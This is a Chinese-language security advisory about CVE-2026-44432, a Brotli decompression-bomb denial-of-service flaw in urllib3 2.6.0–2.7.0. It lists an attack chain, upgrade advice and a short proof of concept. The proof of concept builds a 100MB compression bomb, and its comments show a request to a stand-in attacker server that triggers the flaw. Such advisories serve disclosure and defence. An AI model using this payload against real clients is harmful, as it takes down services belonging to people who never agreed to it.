IPBUF安全漏洞报告
English
CVE-2026-44432 CVSS 7.5 高危

CVE-2026-44432 urllib3资源耗尽漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44432
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
urllib3

相关标签

拒绝服务资源耗尽urllib3PythonDoSBrotli

漏洞概述

urllib3 HTTP库版本2.6.0至2.7.0存在资源耗尽漏洞。在特定解压场景下,如使用Brotli库进行二次读取或调用drain_conn时,库会解压整个响应体而非仅请求的部分数据。该问题允许攻击者利用高度压缩的数据触发客户端资源过度消耗,导致高CPU占用和内存耗尽,造成拒绝服务。

技术细节

该漏洞的核心在于urllib3处理HTTP响应解压缩时的逻辑错误。具体而言,当使用官方Brotli库进行第二次`HTTPResponse.read(amt=N)`调用时,或者响应已被部分读取并解压后调用`HTTPResponse.drain_conn()`方法时,程序未能正确限制解压范围,导致解压了整个响应体而非仅请求的字节数。攻击者可精心构造一个体积很小但解压后巨大的恶意Brotli压缩包(即压缩炸弹)。当受害者使用受影响版本的urllib3请求该数据时,客户端将被迫在单次操作中分配大量内存并进行高强度的CPU运算以完成解压,从而迅速耗尽系统资源,导致服务停止响应。

攻击链分析

STEP 1
准备恶意载荷
攻击者构造一个包含高度压缩数据(Brotli格式)的压缩炸弹,原始数据量极大但压缩后体积很小。
STEP 2
部署恶意服务
攻击者将恶意载荷托管在可控的HTTP服务器上,等待受害者访问。
STEP 3
诱导请求
诱导运行了受影响版本urllib3 (2.6.0-2.7.0) 的应用程序向攻击者的服务器发起HTTP请求。
STEP 4
触发漏洞
当应用程序尝试读取响应数据(调用read或drain_conn)时,urllib3错误地解压整个巨大的响应体到内存中。
STEP 5
资源耗尽
受害者客户端的CPU和内存资源被瞬间耗尽,导致应用程序崩溃或系统无响应(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import urllib3 import brotli # This PoC demonstrates the concept of the vulnerability. # It creates a malicious payload that decompresses to a large size. # 1. Create a compression bomb (100MB of 'A's compressed) original_data = b'A' * (100 * 1024 * 1024) compressed_payload = brotli.compress(original_data) print(f"Original size: {len(original_data)}, Compressed size: {len(compressed_payload)}") # In a real attack scenario, this payload would be served by a malicious server. # The victim's code using vulnerable urllib3 might look like this: # http = urllib3.PoolManager() # response = http.request('GET', 'http://attacker-server.com/exploit', preload_content=False) # # # Vulnerability Trigger 1: Second read with amount limit # # Intending to read only 1024 bytes, but urllib3 decompresses the full 100MB into memory. # first_chunk = response.read(1024) # second_chunk = response.read(1024) # Vulnerable here in 2.6.0 < x < 2.7.0 with Brotli # # # Vulnerability Trigger 2: drain_conn after partial read # response.drain_conn() # Vulnerable here print("PoC logic generated. Sending this payload to a vulnerable client will trigger OOM/CPU spike.")

影响范围

urllib3 >= 2.6.0, < 2.7.0

防御指南

临时缓解措施
建议立即将urllib3库升级至2.7.0及以上版本。如果无法立即升级,建议限制HTTP响应体的最大接收大小,或者在业务允许的情况下禁用Brotli解压缩支持,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表